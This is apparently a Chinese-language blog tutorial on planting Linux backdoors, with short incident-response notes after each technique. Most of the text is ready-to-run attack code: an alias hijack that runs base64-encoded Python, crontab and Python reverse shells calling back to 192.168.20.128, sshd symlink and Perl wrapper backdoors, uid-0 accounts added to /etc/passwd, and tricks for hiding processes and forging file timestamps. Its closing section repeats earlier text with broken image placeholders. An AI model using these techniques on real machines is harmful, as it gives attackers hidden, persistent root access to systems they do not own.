linux后门教程
![](https://i-blog.csdnimg.cn/direct/aa5c551d4bfa4885a95404ba54dbcd87.jpeg)
alias
用法
系统默认别名: alias
![](https://img-blog.csdnimg.cn/img_convert/88948f0b869a0119ca6a104021c7d61c.png)
设置别名 :alias ls='ls -laih'
![](https://img-blog.csdnimg.cn/img_convert/f7f4fd339f9b87544b5ad288881c9b0a.png)
删除别名: unalias ls
![](https://img-blog.csdnimg.cn/img_convert/0228af4ee01c20724070cb2af0a0e513.png)
**加参数:**alias ls='ls -laih;pwd'
![](https://img-blog.csdnimg.cn/img_convert/1ead43a5612e0785fba1961cf58d13ba.png)
注意
系统启动默认加载的配置文件
/etc/profile
切换用户就会执行/etc/profile
/etc/bashrc
bash shell
~/.bashrc
每次打开新的shell时该文件都将被读取
~/.bash_logout
每次退出系统(退出bash shell)时执行该文件
后门
-
命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}sys.version_info[0]))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $;else echo "-bash: unalias: ${}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.lambda./ls --color=auto'''/";};alerts'
base64解码内容
![](https://img-blog.csdnimg.cn/img_convert/db7bddf54593d57e0c206e991d1ea661.png)
执行ls,反弹shell到kali监听的6666端口
目标机器可以看到连接的信息,需要关闭攻击机的ssh,目标机器才会执行在攻击机上的命令
![](https://img-blog.csdnimg.cn/img_convert/c2fc2c876900154c727ad27e0b68cbf2.png)
劫持了命令alias,查看显示ls='ls --color=auto'
![](https://img-home.csdnimg.cn/images/20230724024159.png)
- 后门隐藏
找一个有迷惑性的目录,修改成类似文件名
![](https://img-blog.csdnimg.cn/img_convert/90dfa75de6dd32d417ef090f713b59ab.png)
插入到自启程序中~/.bashrc
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then
. .pki/nss
fi
![](https://img-blog.csdnimg.cn/img_convert/ae9e1e56047ae6c76cfbea1f4c895a15.png)
stat
直接能看出来,修改后门文件,与同目录文件时间相同
![](https://img-blog.csdnimg.cn/img_convert/fb4861540ae5ad651f125e08da7321c2.png)
touch -acmr nssdb nss
![](https://img-blog.csdnimg.cn/img_convert/40dcb692e25ec295d274f129a91e0ea0.png)
kali用ssh连接执行ls,
![](https://img-blog.csdnimg.cn/img_convert/adb3c85ec2100ea26acb19048d630927.png)
反弹shell的监听反应
![](https://img-blog.csdnimg.cn/img_convert/adf17d8cc5e21c9c3f69e51abc09508c.png)
应急响应
异常连接 :netstat -anltp
![](https://img-blog.csdnimg.cn/img_convert/55fdcf0594e2510ed5c2b57a64bd51f0.png)
查看异常pid: ps aux | grep 2019
![](https://img-blog.csdnimg.cn/img_convert/13e555ec70281e795679b5ceff5ae840.png)
ppid为1: cat /proc/2019/status
PPID是进程父进程的PID,通常是主要进程
![](https://img-blog.csdnimg.cn/img_convert/7bec9314354b0069d43d0e064be3229b.png)
unalias删除后,每次登录都会触发
stat检查时间修改,查找主要进程
找到最近时间修改/etc/profile
、/etc/bashrc
、~/.bashrc
、~/.bash_logout
alias 后门文件删掉即可
crontab
shell文件准备
#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址:192.168.20.128
(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门
可执行chmod +x
![](https://img-blog.csdnimg.cn/img_convert/dda400a48cf747f7dac2e9ae6d48e492.png)
执行恶意文件2.sh
![](https://img-blog.csdnimg.cn/img_convert/36a13cdf49b329513f2cc127b0108b7d.png)
kali监听
![](https://img-blog.csdnimg.cn/img_convert/5e8adda3e3922545f2df453fd11d93e0.png)
应急响应
netstat -anlpt
![](https://img-blog.csdnimg.cn/img_convert/17b83739ee580023e3da3b9cfd9c8892.png)
查看异常连接PID,bash进程
![](https://img-blog.csdnimg.cn/img_convert/18e59724945bbbd3ee67d76d4812b084.png)
看bash的父进程,父进程是1151
![](https://img-blog.csdnimg.cn/img_convert/afad4f487d3366b84c62a5202be5c06a.png)
ps aux | grep 1151
![](https://img-blog.csdnimg.cn/img_convert/60cfe607a3addaf88ec9784400354972.png)
cat /proc/1151/status
![](https://img-blog.csdnimg.cn/img_convert/80a127162b9a6b936f3fb0d1bf3637da.png)
ps aux | grep 1149
![](https://img-blog.csdnimg.cn/img_convert/ec24b1aee57a93184e03a17166126e33.png)
![](https://img-blog.csdnimg.cn/img_convert/894f99a23f3880dd8caf651d6696ace9.png)
/usr/sbin/CROND -n
跟网站定时任务有关
![](https://img-blog.csdnimg.cn/img_convert/5222a68860a776e7a731a5bd8e6fd6f2.png)
定时任务文件位置: /var/spool/cron
cat
与crontab -l
没看到
使用cat -A 可以显示或vim
- -A:表示显示所有非打印字符
![](https://img-blog.csdnimg.cn/img_convert/4ddd91a112070656091476ca5567ff0e.png)
删掉1.sh即可
ssh公钥免密
CRT生成公钥与私钥
![](https://img-blog.csdnimg.cn/img_convert/29b6f1a68a0b0ab734259f3f15828213.png)
RSA,连接服务器需要设置密码
![](https://img-blog.csdnimg.cn/img_convert/ae8fd4b7eb95a24a253228a0b3ffb04d.png)
密钥长度1024
![](https://img-blog.csdnimg.cn/img_convert/bda7dccbe87fdbd67ddf0b4ea8094d1c.png)
公钥写入
传输到web站点通过wget下载
无
authorized_keys
时通过ssh-keygen -t rsa
生成密钥,开启免密登录创建文件
touch /root/.ssh/authorized_keys
将公钥追加到
authorized_keys
里
cat Identity.pub >> /root/.ssh/authorized_keys
赋予执行权限
chmod 600 /root/.ssh/authorized_keys
登录
新建连接,选择Properties,选择公钥文件,连接
![](https://img-blog.csdnimg.cn/img_convert/41c1b3e6b280ed4c6188ccd4f784a3aa.png)
应急响应
netstat -anlpt
![](https://img-blog.csdnimg.cn/img_convert/f6025f0419423c2b55c14d9ba5a4859a.png)
与负责人沟通确定该IP
正常情况不能登录服务器
![](https://img-blog.csdnimg.cn/img_convert/0a804656be715e37b7b7a19a003c061b.png)
无异常,正常ssh登录,看authorized_keys是否被覆盖
未知用户公钥
![](https://img-blog.csdnimg.cn/img_convert/7c1aca9d31a783a64ea463e5ac5145e9.png)
看篡改时间,确定是最近篡改的
![](https://img-blog.csdnimg.cn/img_convert/cfc798247d29c2576f73fc9aef76d56d.png)
删除公钥
kill -9 进程
ssh软链接
创建
root用户
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
此处密码随意
![](https://img-blog.csdnimg.cn/img_convert/c368c2de9b40e7819c47f5c148789791.png)
普通用户
echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/wxg
ln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
应急响应
![](https://img-blog.csdnimg.cn/img_convert/e01a8cc8e539d516ad52f98e2211a47c.png)
![](https://img-blog.csdnimg.cn/img_convert/90a9d440116e367bce4c54d0cb359859.png)
查找su文件,找具体软链接后门
![](https://img-blog.csdnimg.cn/img_convert/ef76e444175b1843387f0962ec4d2e06.png)
删文件杀进程
![](https://img-blog.csdnimg.cn/img_convert/5f9d2ecdc175f1490ee46ff24de508b6.png)
增加超级用户账号
第一种情况:可以交互且允许uid=0的用户远程登录
echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd
xiao
是用户名。x
表示密码信息存储在/etc/shadow
中。0
是用户 ID,表示该用户是系统中的超级用户或root
用户。0
是组 ID,表示该用户属于root
组。::
表示没有额外的用户 ID 信息。/
是主目录,表示用户登录后默认工作目录为根目录。/bin/sh
是登录 shell,表示用户登录后默认使用 Bourne shell。
![](https://img-blog.csdnimg.cn/img_convert/77a0babcc49a142a413698e6efc22683.png)
![](https://img-blog.csdnimg.cn/img_convert/76064819e062206c50c098d6e239ea9b.png)
第二种情况:可以交互且不允许uid=0的用户远程登录
只能由普通用户权限
echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd
![](https://img-blog.csdnimg.cn/img_convert/9d0e47c0753f82fa85f00454c469ec27.png)
![](https://img-blog.csdnimg.cn/img_convert/9cc374ff3338e8d6a725e69e7984d13a.png)
第三种情况:不交互无回显添加Linux密码
useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh
执行两次
useradd
是一个用于创建新用户的命令。hhhh
是要创建的用户名。-u 0
指定用户的 UID 为0
,即root
用户的 UID。-o
允许分配非唯一 UID。-g root
将用户添加到root
用户组。passwd --stdin wxg
是用来为用户wxg
设置密码的命令,其中--stdin
选项表示从标准输入中读取密码。
![](https://img-blog.csdnimg.cn/img_convert/7cfe3e2b7f95e081b33a88755e57c257.png)
![](https://img-blog.csdnimg.cn/img_convert/cdbfb300299425ee0780215ecc145a2b.png)
应急响应
可以查看远程登录者信息
awk '/\$1|\$6/{print $1}' /etc/shadow
查看特权用户
awk -F: '$3==0 {print$1}' /etc/passwd
-
'$3==0'
是 awk 的模式部分,表示匹配第三个字段等于0
的行。 -
$3
表示第三个字段==0
表示等于零
杀掉练级进程pid,删除非法用户 userdel -rf 强制删除
perl脚本SSH后门
SSH后门源码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
让靶机从搭建的web
服务去下载
![](https://img-blog.csdnimg.cn/img_convert/fddbdbd224bd9cbd35198329690deeee.png)
将原来的sshd
移动到/usr/bin
下载的ssh移动到/usr/sbin
,并赋权
重启ssh服务:systemctl restart sshd.service
检测靶机开放端口
![](https://img-blog.csdnimg.cn/img_convert/654adeea0eee10a75071847c85e9c4d8.png)
控制机:socat STDIO TCP4:192.168.20.137:22,sourceport=31334
![](https://img-blog.csdnimg.cn/img_convert/410302c3c4d15f3ef41c858e9154b05b.png)
应急响应
与管理员确认异常IP连接
![](https://img-blog.csdnimg.cn/img_convert/146d9d7c0429fd08b8ec47b62bf89f34.png)
正常sshd
文件是ELF格式,后门文件是纯文本脚本,file就可以发现
![](https://img-blog.csdnimg.cn/img_convert/ed418e41a41ae0687642db78a9f0f9db.png)
vim+python文件后门-教程
ubuntu20.04的vim支持python3
![](https://img-blog.csdnimg.cn/img_convert/aa5155546e24d74b992f1151e72bfd7a.png)
反弹shell脚本
python
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
让靶机从搭建的web
服务去下载
kali开启监听
靶机:vim -E -c "py3file shell.py"
空白说明反弹shell成功
![](https://img-blog.csdnimg.cn/img_convert/a319e139a57ed8b364f1a573126c1da3.png)
kali
![](https://img-blog.csdnimg.cn/img_convert/94ac0b455e074b78d53da6af61d60fd6.png)
隐藏后门
netstat -anplt直接查到了,还会留空白窗口
命令启动时不显示该窗口
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#"2"在linux中代表错误输出,"1"在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
隐藏可疑连接
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py
隐藏命令:
mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
![](https://img-blog.csdnimg.cn/img_convert/1ad3890164f0e0d10872d8e4ea842f0b.png)
应急响应
看到有不正常连接,猜测被挂载了
cat /proc/$$/mountinfo
![](https://img-blog.csdnimg.cn/img_convert/009c63e5e719dfaab6bbf2409301c70f.png)
umount /proc/3132
取消挂载
![](https://img-blog.csdnimg.cn/img_convert/b8e2a5729bc33c3d4c22dd2df547e955.png)
kill -9 pid
杀掉进程
SSH Wrapper后门
&) && sleep 2 && rm -f shell.py
**隐藏命令:**
mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
[外链图片转存中...(img-M3MftaKZ-1721128228618)]
### 应急响应
看到有不正常连接,猜测被挂载了
`cat /proc/$$/mountinfo`
[外链图片转存中...(img-KzeHBYVX-1721128228618)]
`umount /proc/3132`取消挂载
[外链图片转存中...(img-pNA2fGtG-1721128228618)]
kill -9 pid
杀掉进程